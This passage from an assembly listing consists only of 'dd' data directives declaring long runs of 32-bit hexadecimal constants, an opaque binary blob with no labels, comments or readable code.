dd 5E2ABB00h, 0F984C06Ch, 0EE6E0F1Ch, 0D4600CC2h, 69C44283h dd 77E65900h, 0CB35B6DCh, 30F00D5h, 0ABB49AB8h, 4CF236C2h dd 0FD523F00h, 263DDF82h, 6AE60473h, 7481074h, 7C9060EBh dd 48A15A29h, 2A18AF8Eh, 7B7DE72h, 0A3AFFB00h, 0A85D6406h dd 40090016h, 0C6F9B3F7h, 70384391h, 63FA06CCh, 20D45Dh dd 83E92885h, 7193F8AFh, 1009AEEh, 5B1D7EAh, 0BA139B18h dd 0BD7788h, 38E5096Dh, 4BF2390Ah, 0FB283203h, 0B024D0E3h dd 0BEDE8Dh, 6D800E50h, 5436C883h, 529A5500h, 7AB1FB63h dd 2510071h, 0BCD627A4h, 8100ECB5h, 920D4A7h, 758B08Ch dd 8B225CB2h, 95183CA6h, 0CD3CD900h, 0A869A0B6h, 0E07FE1C5h dd 0DA002D74h, 0D12E4039h, 9B4585h, 7CC30A08h, 7B3AD7E1h dd 0EB4E2903h, 0F821CBEEh, 1DF0D4B6h, 3D4B83D9h, 4C226980h dd 483009A3h, 120E5CE0h, 83E1CEE5h, 0F8D8502Fh, 483E8A03h dd 380251F2h, 883067EDh, 2D000070h, 2AF8621Fh, 0E63B4248h dd 0A7A12532h, 6A019470h, 8F203F06h, 6EC5D915h, 4211271h dd 240C65CCh, 3B608245h, 99986700h, 5C2542FEh, 0ECE6FC00h dd 0CD86E712h, 0D54B00E5h, 0FB3CD835h, 2004F77h, 3F101EBh dd 0C992FDh, 2A8AD407h, 6D280CCDh, 0F4607700h, 2667B35Fh dd 1EC37D71h, 537BCFA1h, 0A7F0F62h, 0C9708EE0h, 77F6B2CBh dd 6C13A000h, 50DCA9B7h, 10CA01DEh, 4B320CFFh, 82A4E87Eh dd 906AE700h, 84BCCCEAh, 91C40352h, 4CD00837h, 28F180D5h dd 67713BBFh, 9050BD26h dd 48CB9C92h, 0C38FD1E0h, 0C7FC4F01h, 0A0D25402h, 5000D829h dd 7B6A526Ch, 0B168A74h, 1000ADA2h, 0DAB2CD02h, 0D16E0C07h dd 4A31C3AAh, 84F028FFh, 68B462FFh, 445F04E8h, 0C0F4B1AEh dd 8C3ADF9Fh, 0CB0D9E1Eh, 0C7776480h, 486AE8h, 8742D091h dd 0D807C5E4h, 3B303F7Fh, 4FD96015h, 4AC73CB4h, 0A0AFB325h dd 0ACF46267h, 0C7001C21h, 0E2500EDCh, 2588745Dh, 54A78364h dd 72C73015h, 0E8601397h, 54958C41h, 71E200CAh, 55486FA4h dd 0F04BF401h, 97334030h, 0ED76002Eh, 46DFEEA2h, 0E7019DE0h dd 9E6110DEh, 0C8EC1802h, 0D5D07F0h, 806819DAh, 5FA3FF72h dd 770548E8h, 946E86A2h, 0A5E2D4D0h, 0CDFAF5h, 0F634C9ADh dd 0E88FBEFBh, 1DBA63Dh, 9116E5C4h, 8ED6E103h, 360EC6F1h dd 156F2AC8h, 0B6AA48B4h, 0C4E4E803h, 878871AEh, 0B801673Ch dd 88EE8F65h, 2E8293DBh, 5A3EAEF3h, 0AA0740DAh, 0D5622656h dd 76F5A970h, 0CAE900B0h, 5AA45975h, 0F3075065h, 0BDCE9390h dd 0E02756C2h, 4ACB88h, 9488106Bh, 0EA924499h, 6C6A1500h dd 0A365CF33h, 2E850048h, 477150C3h, 0AB00E003h, 0D84F2AF1h dd 321C56h, 81BBD158h, 5CE3711Eh, 1F19B33Ah, 68CB162Ch dd 0E2A4A240h, 7548E8CCh, 12810163h, 0F77E9982h, 8518D020h dd 767D0605h, 33C0A7D1h, 3E6B8Ah, 252D2E5Dh, 0FCCAE6F8h dd 8716AB00h, 2CF3CBAAh, 0B2807B8h, 5F221C80h, 7808504Ch dd 26313B00h, 6F65368Ch, 0F1E60041h, 0EC66EF7Ch, 0E90063BCh dd 9B713BC8h, 73CB1AC7h, 777809FCh, 0D4034C1Ch, 48782D9Dh dd 34850200h, 7375AAF4h, 40A31D18h, 0B0DA1F74h, 346E6720h dd 4F62F00Bh, 634B0084h, 60AB952Ch, 7DE1B0E8h, 7781FA82h dd 1189A98Fh, 8B5F1B81h, 0EFB0D5D9h, 20CF62E0h, 18FCC1C1h dd 949D94BFh, 66D00C1Dh, 21C85108h, 9E040636h, 0F70789D3h dd 0D833949Dh, 0A822C1D0h, 0C63D022Fh, 46264CCEh, 0F4DC840h dd 0BC8ACB00h, 2DA2F8EDh, 1998C0FCh, 74E01216h, 0F458A1C0h dd 1F2A64ECh, 0B4FC0762h, 0B8B42009h, 0E395ED86h, 2ED0A847h dd 6433507Dh, 8FF1B1Bh, 0E3E2101Fh, 7EAC8660h, 54ADAE00h dd 462F48AAh, 19980090h, 0C2753E02h, 2A00E98Dh, 1FAD8806h dd 26112D8h, 83654147h, 6055A227h, 6D0CCA1h, 0A5F9B902h dd 0DF52103Ah, 3093B804h, 5310A4C5h, 0DB004CD4h, 8D442D0Bh dd 70269BEDh, 0A21900F3h, 0DA04D021h, 3D7DA36Bh, 3C64A107h dd 650B831h, 8EE054h, 65C76002h, 42B769Fh, 7105A00h, 0FDA0DEBFh dd 20E1002Ch, 87789BE5h, 0AD009757h, 8898608Fh, 5291C7h dd 0D6B393A6h, 6DBE92A4h, 3EBD6100h, 0FE5F1DECh, 4D140203h dd 0BB1FE552h, 0FB4E37E0h, 0E7B1A000h, 4FB92B79h, 7C870E69h dd 0C1A03C60h, 0BFEF5DE0h, 22B25100h, 101C07D0h, 0A73101BBh dd 0F2E6D943h, 359BC0B6h, 4721C000h, 14CD1CB3h, 995D265Eh dd 0D610079h, 0A56354ECh, 0B2E24000h, 36804346h, 0F0D600A4h dd 7628B3CEh, 0D300B747h, 0B06B3F01h, 733B2B38h, 0C96A005Ah dd 28F69C58h, 0BCA81182h, 0A31D0B9Eh, 2F14B603h, 628AE08Ch dd 0AC3D00C5h, 5F8ECFA0h, 3A00CA59h, 2B12A226h, 755E8565h dd 0A8686080h, 0C9A3D677h, 3C834007h, 50C05DB8h, 65B038h dd 0F59655E4h, 9CEDEF66h, 4F9B8F0Ah, 0A11E94F2h, 47CD5B00h dd 120A0153h, 20A455E1h, 5A7D3810h, 0AA0094EEh, 73A780A8h dd 32F763h, 9F2DD5FEh, 1AD1CDBDh, 0C454E8EBh, 0F4A3900h dd 0EF4BB7E2h, 0B4EB3FD6h, 0CD3A581h, 0E48EF1E5h, 2A079CE3h dd 13A1D73Bh, 0D06AF3C0h, 678C07A0h, 67C496B6h, 0BFDE40AFh dd 1B716808h, 89122100h, 0F0F738D8h, 0F3E885h, 98FE1E1Ch dd 0B7CCB8C8h, 6D742709h, 226C0068h, 1DAAE2Fh, 65203E37h dd 0DDF71388h, 0DF9040D7h, 0F500548Eh, 0BE629664h, 0E4B735E9h dd 0B3A000B9h, 9AD618EBh, 73009976h, 784B93EFh, 19E5C37h dd 57431450h, 0E4B7EC40h, 1B03DD26h, 0EB0E6283h, 7494C85Eh dd 72BD0058h, 8481A519h, 8C1D563Ch, 5980FD8Dh, 244B1447h dd 0DF9B24CCh, 165C0A14h, 7D8080B8h, 7791B63Fh, 7BDB3E00h dd 0A2829F8Ah, 2D1B0064h, 49884F0Eh, 160FBADCh, 7D47C335h dd 6D3204C0h, 0CF67F2h, 0FF20509Fh, 0ED443C90h, 1F19F503h dd 0F229559Ah, 3DFC483Bh, 0B5AF092Fh, 4007BD4h, 93B81E07h dd 0F309BA98h, 80E88ED8h, 23428388h, 0AC600616h, 31B98B31h dd 44DB300h, 0D9FF172Fh, 9A8D0934h, 840070C5h, 57B362Dh dd 0CCE648h, 0E8EEE96Ah, 1956D86h, 0E3309644h, 80E4C724h dd 0AC1BB520h, 7EEC12h, 18EAAF73h, 0C4B17478h, 0E18AE900h dd 0FA46C03Bh, 3A751F27h, 815D00A6h, 0D37ED402h, 0E1F11907h dd 3BC06D49h, 1FCB958Dh, 0A0FC7FE4h, 40E57800h, 3836AD5h dd 229B3872h, 9F210075h, 348B50E1h, 5E00DA64h, 4515D493h dd 6CAB77h, 70906F3Eh, 0D3627837h, 0DA719A0Eh, 67406324h dd 7923C80Bh, 1E630013h, 41784C2Ah, 0B0C08B51h, 0F1ACF2DEh dd 28267943h, 0F0E015h, 0B859B590h, 0C488BEBDh, 84190E00h dd 964C0804h, 0F7D6078Fh, 85A27Ah, 47E56471h, 3B016DB0h dd 0A2148B9h, 39F077EEh, 0D4F60714h, 0D3A54EF9h, 8AE8D159h dd 0A4073827h, 0BA3E8697h, 9BC83F30h, 176C734Ah, 0BF03BE65h dd 0FD340300h, 3AF6FCh, 8FA41858h, 2A61BDF4h, 3841E000h dd 0D363014Ch, 0D1305B1h, 90EAD593h, 6E95CE44h, 9FBD6D00h dd 0AB79E85Fh, 7F0DFC52h, 2411C004h, 0F7B9675Dh, 2B24A27Ah dd 3A9C0434h, 412DF942h, 523060CDh, 20FA0005h, 281758E3h dd 19FAC43Fh, 1A962B00h, 4CC1F971h, 0C85400DAh, 0BE48A65Dh dd 5E03FCEAh, 0E84DE064h, 807DFA30h, 0BFA851E0h, 275000B7h dd 55D865FBh, 1B0172C0h, 511F6C07h, 7BD07346h, 0FEDB17D3h dd 0CF1FADh, 0D67AFA6Ah, 0B50C4623h, 507E3F42h, 0DF9506B0h dd 1074ED26h, 57E26900h, 2DEE311Ch, 5938066Ch, 68DBD27Eh dd 97902109h, 0B0F6002Bh, 0B072495Ah, 89796101h, 0F97D667Fh dd 1AC92045h, 0E08A3D00h, 3A97E10h, 3475FFh, 0A2751126h dd 0E8EC0FDEh, 7A4E100h, 4F8216EDh, 0AE590086h, 31A5E49Dh dd 17EC5D40h, 4A6C6000h, 87BA1088h, 61340196h, 0BEEF89B1h dd 98C5CC59h, 90935601h, 0F7FC1E24h, 4C4828D4h, 0F100A487h dd 0F3E15E1Ah, 0C23102DAh, 8A2ADE13h, 0E4884F30h, 0E58D01CBh dd 0B86BABCFh, 7EFA40B2h, 0E400DB65h, 7506251h, 0D14F4h dd 274DCB39h, 0E025E66Ch, 0A28D2A00h, 4B24CE9Fh, 0BB7900DFh dd 3F662201h, 0AD052919h, 81864171h, 3B588400h, 3239C45h dd 0B490D3Eh, 0C09950DEh, 5D88C843h, 2DABD102h, 6933BB46h dd 0B03F6660h, 0CF000DAFh, 0D7EC1E68h, 1DC8E8F2h, 9F679012h dd 2DB8002Fh, 0F8EB612Ch, 9E5FE700h, 471329A0h, 332EE0B0h dd 4D2AA935h, 1F2BEBE8h, 5EF95300h, 18A8B39Ah, 713F636Ch dd 90CD6235h, 4E02618Ch, 8B791E01h, 34A5FF36h, 3CC1AC30h dd 201BDF89h, 91C328B1h, 0C95BF9C0h, 7CEC381Eh, 82A4B301h dd 0D0FBEB07h, 2DBFF0Eh, 443F724Fh, 4C8A8B1h, 0C1F81F12h dd 9801B4FAh, 0B6BDAA14h, 9CE07747h, 4C485018h, 0A87B1825h dd 0D603014h, 5A03A774h, 0B469C07h, 305100A2h, 624AC965h dd 0A10F83DFh, 0E3AF2871h, 0F0E3349Dh, 176CF78Ch, 0A1EA4950h dd 66C7D061h, 0B41A4C00h, 911E6D0Ah, 16872634h, 38C80B1Eh dd 0D7407C02h dd 0B188E660h, 754C65Ch, 463D9D85h, 0F4E69510h, 67C900A6h dd 81BE33F9h, 0AB00EBB9h, 2C6BB0Bh, 1E10AA47h, 80130898h dd 6A3D7EDFh, 34037959h, 81EA2E49h, 5525E774h, 53D95C90h dd 7AC239B5h, 0BC344F85h, 0C51180EFh, 1900A952h, 7226E4Bh dd 1546F0D7h, 94A52634h, 1975BD01h, 0A0834B48h, 7F2EEE10h dd 0D03E803Ah, 980029ECh, 4D432652h, 1441EF8h, 0AEA1E680h dd 8732A7C2h, 28875949h, 31364E91h, 482FAAE4h, 0B6002D92h dd 47C601B1h, 65798907h, 0BF930F0Ch, 3A3862h, 0C0FB1A24h dd 4BC1DCB5h, 0EA4D71C1h, 0D45088A1h, 1DC079h, 762207BBh dd 0BCB1F52Eh, 9B890500h, 91263B06h, 2B78C9h, 3F0B6C86h dd 0AF50243Eh, 48FF16FCh, 23B05494h, 5991A130h, 0E6F15Eh dd 45B2C194h, 0BA923780h, 4098CB60h, 0E8D13CA6h, 94840056h dd 0E209A424h, 1400B84Dh, 4B7F9769h, 0F0528ADh, 1C5251A9h dd 8D9618C0h, 410073EAh, 340E9E15h, 980C748h, 0BDB558E7h dd 0AA2F0683h, 129B3100h, 0C2DA4BD0h, 0B0D87D20h, 9DBD009Dh dd 1913152h, 271F7441h, 0E180C5F4h, 0B594BE1Eh, 0F8D33750h dd 0EC71A3E2h, 8CF0D6E0h, 0E3604800h, 6D3C7E77h, 0AF740C9Ch dd 0F42851B2h, 0C04E2800h, 83D3405Ah, 127F0176h, 441792D9h dd 0D28CC4D0h, 0B0F5DD0Ah, 1C803051h, 0EEF26CA2h, 1B10C06Bh dd 0F342524Ch, 57449F01h, 0A3F54AEDh, 76C2FCh, 0AF4D1BE0h dd 6099515Dh, 0DAA10A06h, 7819B9CFh, 1D8207E1h, 10D8FBEBh dd 7D4355BDh, 9B7C137Bh, 0BF81D600h, 72098EC6h, 0F7190E15h dd 7E801877h, 0F3D9C91Eh, 0F52880Dh, 4C135126h, 0F1EDC8ECh dd 77CD0E5Bh, 0CB4044F3h, 0C9302D63h, 41D23300h, 0E3D428C4h dd 92B80FC8h, 261D5E0h, 0CC1A6544h, 0E8007DEBh, 7F7A8F3h dd 0F2276DDh, 0A6CF493Fh, 0EF215300h, 9F00E8D0h, 0A8C73AE3h dd 7FD63F8Ch, 0D2EE1DEDh, 0FAE000A3h, 0F61A5BF3h, 13200E1Dh dd 3C043DCh, 2A65C366h, 9CC50049h, 852DBFAh, 80C73695h dd 7100B48h, 1739A25h, 77746A81h, 70FC0C6Eh, 0E500B93Ah dd 3FED08AAh, 1E5F2448h, 802EC1F5h, 94E8928Fh, 0BBB8B6FFh dd 0CF0002ECh, 968B4EF2h, 61C7DCE7h, 0FACC1820h, 92908C1Fh dd 1579E3h, 26BFCB95h, 2547BC9Ah, 0C300E4FCh, 1BBD9171h dd 2EAD3306h, 3579F8h, 59B45A1Fh, 9200A723h, 0E3A57058h dd 77FB56h, 73ECD08h, 7822EF33h, 0E73F4400h, 9DD6173Ch dd 0A32A005Ah, 8FE02E97h, 0C9000629h, 67A47C3Eh, 0FD8B99CBh dd 778C90F7h, 4BEE3821h, 0AA448200h, 2CF66057h, 3856C130h dd 74DF1733h, 798F0005h, 6677489Dh, 35F48B42h, 85AB8800h dd 378A89A9h, 0C0E3E027h, 0DD545E71h, 0CA1EC830h, 1040F013h dd 6B92F5D1h, 0D480064h, 0A5C6B221h, 87002793h, 490F2071h dd 0AB0533h, 1713FCA4h, 2BD043B1h, 0A3DC9800h, 0FE07276h dd 825001Dh, 1271E328h, 8500B721h, 839BEB47h, 0F0AFD6BFh dd 0C1271D0Ah, 2DDB80DFh, 794C3278h, 5F2A0503h, 29E004h dd 61A2A7A8h, 115DF365h, 97096F78h, 0CC51EBh, 0C78F632Fh dd 173E4h, 0CBA57E85h, 16A8ACDBh, 0CE44280Eh, 47A78017h dd 5D91FBBh, 4A34845Eh, 0C0ED8725h, 657727A8h, 5C8DA61Eh dd 45143301h, 5E30411Bh, 248F002Ch, 0E777E3Eh, 990056CDh dd 85D7DEFFh, 23F6DCh, 0BFEA7C7Ah, 0D055F44Fh, 0D4811B07h dd 0CACDCA6Fh, 0DBEDD0h, 5C8E7B08h, 2D9379F5h, 4D678C0h dd 1FE7CF65h, 866818h, 52B21C30h, 8D06AC01h, 0A5FBEAABh dd 0C2C8E98h, 3ECEDE62h, 0A36069A8h, 8028DF1h, 183F60E4h dd 0CC8AAAC9h, 70B043Ch, 3619347Dh, 0BD0088CAh, 0D2F51029h dd 20EC5084h, 4B3A037Ah, 7BDA4F77h, 99B37800h, 0EFD90ABAh dd 0B1070B40h, 31003903h, 0A8C1478Eh, 0E21D6607h, 7751938Ch dd 0E185A1FFh, 404ECF19h, 0BD6F424h, 240050D9h, 17A25AE2h dd 6E523087h, 46603119h, 995C5680h, 36B73706h, 0B03262h dd 0E578207h, 4D4277F9h, 0A0C09126h, 21741Ah, 1FEC57C6h dd 5CE1C041h, 0B7B0FF14h, 0ED908200h, 448A0EE4h, 3B1948B2h dd 1BA0450h, 9C3D265Ch, 41523B2Ch, 200E4DF4h, 250E9A0Ch dd 418ABCA5h, 9431C422h, 51F72888h, 8098513Fh, 0E52B1129h dd 48EBEA89h, 18280412h, 0C3A4EEB0h, 28FD3368h, 1E8C6100h dd 0B26C1AC0h, 0D374006Fh, 5E5C2F84h, 8D0EEEC3h, 0E0043988h dd 7B9D6533h, 0C81F000Bh, 0A748DD7Fh, 2300F45Dh, 0ABCD63Ah dd 3AF1DB8h, 0B28301DCh, 0E7E867F3h, 1F3B8955h, 0AEEE8009h dd 8A81D8DDh, 0CE21019Ch, 0EA648B97h, 0E568C458h, 0D2BAC102h dd 0E08171A9h, 1920CEh, 2C6AC4FDh, 0DA82BF72h, 811F263Ah dd 0F4787066h, 996004F8h, 1EE7E635h, 80F623FCh, 2C981868h dd 4E00B969h, 8979E529h, 1F31E247h, 47CF0A7Ah, 401D0BDDh dd 719A388Dh, 0CB912C00h, 0B4344B0Eh, 93CF1C6Bh, 6F44007Fh dd 15F7BBF3h, 9D08B100h, 88A636B5h, 9123009Fh, 1FB7DF5Eh dd 0CC18131Ah, 0DE404A6Bh, 2395005Ah, 0A1732677h, 0EE669D5h dd 99480604h, 0B081F07Dh, 0E8FF7845h, 59E698h, 4A5BB03Ch dd 24A8D4E1h, 29364100h, 5E49F13Dh, 679007Bh, 0BA13C5F0h dd 630320F5h, 582787B3h, 998000B8h, 0D7C87FC0h, 0BF001CFEh dd 0AB66B433h, 77288D25h, 0A4263EFDh, 9532B30Fh, 0DEFEBA00h dd 6E172345h, 8B077B5Ch, 5F719490h, 4183FF80h, 6A482093h dd 8B00A879h, 0D3BA03A7h, 0F3DA6D34h, 1CB2DCF0h, 804914A0h dd 275911E4h, 47000555h, 34BEDB0Ch, 615A0736h, 5E9D191Bh dd 31304077h, 40E9B3D6h, 85E4229Ch, 270019DEh, 3AD880E0h dd 3E82015Eh, 1A1D6E0Ch, 0BCDCDCF3h, 0B67EB003h, 2986C9EFh dd 3E047611h, 0E27D6F8Fh, 8BE60980h, 227B7111h, 0B841E800h dd 5FAA5AABh, 278C3F02h, 0DDCDC19Eh, 9780BBDCh, 0DD79DB72h dd 0BD1EFA6Dh, 6580390Fh, 0D2CF9ACDh, 484F1F90h, 0FA6EEBh dd 2D9B72FEh, 0AD7906DCh, 6A059E00h, 81538C6Bh, 0F03100D0h dd 0E379A116h, 100E9AF8h, 0A0149774h, 0F2183C1h, 0A4BA1DAAh dd 3B813D19h, 43D765E9h, 98BCD082h, 316E5F30h, 14BB6h dd 370858Eh, 0C0BE6975h, 2ABB481Eh, 609190CFh, 2457E4B2h dd 98D20064h, 80DDCC1Ch, 633EB430h, 3E4CACh, 0B255F71Fh dd 76812305h, 7A6B850h, 95B58BB9h, 0EF9D0058h, 0B3004910h dd 160B8EB4h, 0A31347h, 8D65BB1Bh, 0FCCA48AFh, 0D66E3A01h dd 333794BEh, 2A1682E0h, 7C48D01h, 2B10D956h, 0F9DB40F4h dd 9031761h, 0C7BA46C6h, 325AE9EEh, 2CC2DCCh, 885FFAD0h dd 0E0A0F6F0h, 1EFB8D91h, 0AF4F130Ah, 7C17B02Ch, 660F2E00h dd 7B58FCEh, 0E8448799h, 1D3BC346h, 0C0E0A3D8h, 7DCAE00h dd 1B5CCC9Fh, 94F406D4h, 98E8F289h, 988BDA7Ch, 143C53D3h dd 48D932AEh, 0D5C4FC00h, 3867B3E6h, 6D097A07h, 74807FD8h dd 0C80893h, 2C76F4E7h, 7AA46292h, 53C48000h, 72D316D5h dd 0B28100ECh, 634AD206h, 0FFFEB33Eh, 32CF6000h, 5E7F507Bh dd 0E5BA0062h, 287797D5h, 0FB079F24h, 0CBFCB271h, 799ECCC0h dd 81160708h, 20BA83D7h, 571BA54Fh, 98CEC507h, 6E043DDh dd 93DFC4h, 3FDC1AE9h, 0A78AB760h, 0A2BF3902h, 44EED8A3h dd 0CF0B0078h, 0A7793C94h, 8D00BAF2h, 4CA94E17h, 0E74135h dd 5512D8A8h, 0BDFCBD7h, 0BD21A400h, 18F022CAh, 77310054h dd 86B673D9h, 990133AAh dd 51F5C9B9h, 0CDFC204Bh, 8952003Ah, 0A42A08E9h, 3D24493Eh dd 8F01C8D4h, 0E3B8607Bh, 255EE0h, 591BCCA1h, 8633305Ch dd 0A891A00Ch, 7F68E8h, 0DBFFFDF4h, 29EBF606h, 23008FF2h dd 0CE983E1h, 6FBCC5E4h, 0C481F838h, 0C2A84233h, 59CB9A80h dd 10F08D12h, 1B675100h, 0D6E7A0F8h, 8E6204C2h, 90A79287h dd 0EA884730h, 69EE2CA8h, 342EF924h, 9E139D00h, 1182030h dd 0CC412F74h, 824873F8h, 0A2D1FB50h, 0F86463BAh, 0E4F8A67h dd 14818291h, 260D7EE3h, 3E3D94E8h, 0F338E71Eh, 0DF61EC40h dd 334AAAh, 0A71CC3F2h, 58A6E3F7h, 11FD7A03h, 88B1B380h dd 1829FAh, 0FC83C384h, 1B968609h, 175DAE00h, 0A56B6205h dd 34D74F6h, 0C0D3BC2Ch, 0B4C3F30Eh, 0F7A181E4h, 8540FA9Dh dd 4900C72Bh, 0DAAEA084h, 227944h, 0C85C19A2h, 7AF004B5h dd 3297AB03h, 0BBEE756Ch, 0F350BFC5h, 8889BFh, 22BBA95Dh dd 0E19C2AA4h, 0F99BD909h, 0F88D80C3h, 3B8EE04Dh, 0E38E6616h dd 71497B20h, 0AAD7EB01h, 36FC40F1h, 580014CCh, 0E4516810h dd 53C1A3h, 0B74A9A42h, 0D2949B43h, 37CA5500h, 24A4B602h dd 5C45E885h, 0B902AD6Bh, 0AB360A76h, 32A83560h, 0B7545500h dd 82A55774h, 0F770264h, 52883EE0h, 562DE440h, 6B03DF72h dd 53106090h, 98DED824h, 0DCF6073Ah, 0E086654Eh, 0A84D9961h dd 3360AC04h, 0FDC3F3AEh, 94E8B046h, 63A531B0h, 0FC105D18h dd 48907CF8h, 0F1ACEC1Dh, 6F799000h, 24AA369Ah, 0A46CC1h dd 0E516EF1Eh, 421E0ABDh, 6040B450h, 53A53F03h, 4B3C0039h dd 0FF06E3D7h, 0E8072AA3h, 0E0B19464h, 3135FE90h, 0D1BA005Fh dd 0A8DBDA92h, 0E274A38Ah, 0C13C7A00h, 19FE4980h, 0B61800A7h dd 643D50EDh, 22F884E9h, 78AB3E03h, 0D1806C51h, 48DD0E0Dh dd 4435E8h, 3AA7EB05h, 0FDB22E82h, 3C5EA62Eh, 46776C00h dd 797A3086h, 0EA570769h, 0DF387221h, 0B9F6AEC0h, 0B40024E7h dd 807B537h, 48A075C3h, 0E100A0B3h, 992B8BC9h, 0A4005C83h dd 96B747E8h, 28DA2579h, 0A0C00B22h, 0E68AACh, 0F22E3EE4h dd 0BB81B465h, 3100DB7Ch, 7FFAFFA5h, 0DFD80Dh, 0DA40C942h dd 0C475B78Ch, 0D0AEB100h, 0E015CD2Eh, 0F8E900DEh, 194651FFh dd 890077A1h, 0CFEA4329h, 0A872CBh, 0C0A3B6D7h, 0C6BCDB40h dd 5501F490h, 0A5AF5DCCh, 1CC0D528h, 0F3B826DDh, 39484030h dd 0F900AE3Fh, 59499D70h, 0BD7C16h, 0D496ADE9h, 87E1B441h dd 0ED00149Bh, 81CA3DE0h, 0F5A10038h, 80C3D821h, 0FCEAADD2h dd 0E47F49h, 878407EEh, 48D9D7h, 0F483AB4Dh, 0AF6431F2h dd 0C5E72200h, 0E4639116h, 99D5003Dh, 0EA9E1B07h, 0A10640B7h dd 0D51CC58h, 0DB80070Ch, 8188D98Dh, 308AA705h, 42007D29h dd 8FA46E5Bh, 0B6AD7h, 996368ACh, 41A98922h, 0DD789CE4h dd 72FCE500h, 2B4BF494h, 0B5910123h, 4A887025h, 1FA074D0h dd 0E38844Ch, 9E26CD4h, 60A80154h, 0E4C8D87Bh, 387A07E0h dd 0C05C840Dh, 0F8BCF456h, 0D4140900h, 1D94A7D8h, 0C38F0AD7h dd 3D88681Bh, 8010BA1Eh, 0EED69387h, 0EC0066A8h, 0F48503E5h dd 0DF288h, 0C128BB80h, 573BD07Dh, 97012779h, 117E82AAh dd 0D0649495h, 0BEEA44h, 0AC6EA0BDh, 0FEA95272h, 13214501h dd 388F7EDCh, 0F8805EFCh, 0A1E030Dh, 22B6BF99h, 61824FD8h dd 3A702548h, 0F74981F0h, 0EE1EA538h, 4CA430h, 0E53383DFh dd 26B9530Bh, 807FD03Fh, 43F2E68Dh, 0F694BF9h, 784AEA75h dd 911AE180h, 74B109DAh, 8BD3D808h, 6F808CA9h, 0E95FA7A1h dd 0C0F88103h, 1B18751h, 0E67E9111h, 63F0176Eh, 2F058178h dd 0F9819822h, 452556DDh, 0A876E0CCh, 8E740400h, 0E2074EE3h dd 0A0F63AB3h, 0A7E84C00h, 0AFB440F4h, 7C591C73h, 18971874h dd 3F2E068h, 0F522042Bh, 3800C18Eh, 0B644D36Fh, 597DADh dd 64AE3BE1h, 0C222C42Bh, 7E715C00h, 0B708332Eh, 3D97007Bh dd 54F8054Fh, 8CE49996h, 0D3A6A80Fh, 84686016h, 97441B2h dd 0FF75B1E4h, 0E0E37427h, 73E127A5h, 0AC2170C0h, 170FA6h dd 0B257A9A2h, 4697A4C3h, 0E3F8E000h, 954D87E5h, 3B9D7A75h dd 61001E9Fh, 0AF0B1684h, 0E6001C99h, 182EB52Fh, 2D470DCh dd 7E49BC2Dh, 60408D77h, 8A5DAE38h, 0A0F8018h, 0F49DE06Bh dd 9F3B0FE2h, 5F82A1DAh, 8E4352Dh, 80E8BD26h, 0C088AE94h dd 1252EF40h, 86D717ABh, 37000025h, 7D136D41h, 6C18BA00h dd 0DDE1F9C9h, 75560016h, 0E7354954h, 0BE77AE05h, 0D3B23200h dd 9B1D5DCBh, 455A003Eh, 0E35BB60Ah, 4E1893D0h, 195847DBh dd 39D926DCh, 0D212FFh, 520AD128h, 0BA2A4318h, 0B400E420h dd 0EB83BCDh, 2E9D03EDh, 404C7410h, 5FF078BBh, 0AD80F8DDh dd 0E31DAD0h, 2E600AFh, 0DFA743Ch, 0C92EF853h, 0AD0092B8h dd 0CEAEE082h, 2445155Fh, 0AF005856h, 813AC337h, 1800DAADh dd 0FD4EFF34h, 23B368h, 0E1D115E5h, 7A7F5F1Dh, 0C1249700h dd 30314F1Ah, 4A2E3E10h, 0A586B787h, 3E321049h, 1A005A77h dd 39736EC8h, 84970Eh, 0C7F4B62Dh, 0D43450Bh, 0D2E18D05h dd 98C0862Ch, 1E36034h, 1A229676h, 80853678h, 0E4E59E18h dd 71C5EE48h, 0F481022Eh, 1835199Ch, 27005851h, 0EF2C0F78h dd 662A00D0h, 0BA62BDFDh, 42020685h, 776A18EAh, 0B019C0E7h dd 79990E4Dh, 0C0D25211h, 0A4A9738h, 0ED48500h, 0CCCFE2DBh dd 7E7F246Ch, 9B2D6010h, 8F00CDB1h, 23A419B5h, 1C8EE3D9h dd 301FAC9Ch, 0C87A0E48h, 2A24581Dh, 0E7C64D40h, 0FE6EAh dd 6C4560E3h, 0C39AC9D5h, 0B29B1F12h, 527334D0h, 1CF0009Dh dd 0E045F21Eh, 0B7002E1Dh, 8236E9D3h, 9AA3C35Ch, 974738E0h dd 0E85260C9h, 98BD78C0h, 7026C1A7h, 8742248Dh, 7DF4C055h dd 0E53E008Bh, 0D5B6A29Ah, 911C0376h, 0BC41FE23h, 0C41C5E58h dd 1608B0C3h, 0E31300A9h, 0DBEE5B6Ch, 8900E180h, 71BDEB9Dh dd 10C1D67h, 0F52C2E04h, 0FED1E3F0h, 470DE0F7h, 0E67100E4h dd 0B35316E1h, 4500D366h, 821E5D0Fh, 7FF958Bh, 89976992h dd 0A2CE5019h, 2B0093BAh, 964146D7h, 80F963h, 0FEE0C4C3h dd 78F75F39h, 0CB529C00h, 44F4C1A4h, 51AB0066h, 0EAF98CA6h dd 0B5FA2410h, 0E09C2700h, 0AFB35235h, 8A8201B0h, 0B74120BCh dd 0A8F2CCA2h, 0FB6C60Fh, 3E18E087h, 17D6DFh, 35925AE9h dd 0A9094738h, 0F60F1601h, 5E63232Dh, 2E5C15DCh, 762CFF9h dd 24FF94h, 0D785A1D1h, 860E84FEh, 80EFB153h, 0A8C113BBh dd 957CC1EAh, 3D679483h, 81203F58h, 0D22B9D86h, 0EE706611h dd 1EDB061h, 1DAA07E1h, 0CCA70ED5h, 0D10012D3h, 58D7FC5h dd 3C29121h, 327CD893h, 33E0FF8Ah, 75012FC7h, 7471940Ah dd 0B6F01A2Dh, 8EA30027h, 0D54BB8EBh, 0CF075CC0h, 0AB20B1AAh dd 1C6815C1h, 71910EEFh, 95C09FEDh, 8E7ABBB4h, 832839h dd 52745DF8h, 92C45372h, 0F9D9009Ch, 27138DEEh, 0A3748FF8h dd 298E8A01h, 7714225Bh, 13575020h, 1FC7DA11h, 0AD0F00B8h dd 0B498F332h, 0FEDD972Fh, 4F650051h, 89F62AF2h, 72001677h dd 4BFDFB31h, 944887h, 0CA63908Eh, 6C8A1E18h, 0B1EF5330h dd 11AB28Fh, 0FAACC03Eh, 0E39A254Dh, 1991A060h, 0C1F2AF81h dd 0CDF30970h, 0E273E840h, 2D6540C5h, 0E38D540Fh, 289F784h dd 0CC8F9338h, 1080135Bh, 3F81AAF1h, 4F1B8B00h, 0ED517E70h dd 0B57328h, 0FAD78820h, 300112BFh, 8007503Bh, 0D83A5C38h dd 17FB5Ah, 0A2F3C8C4h dd 0D10C90E7h, 5BAA3000h, 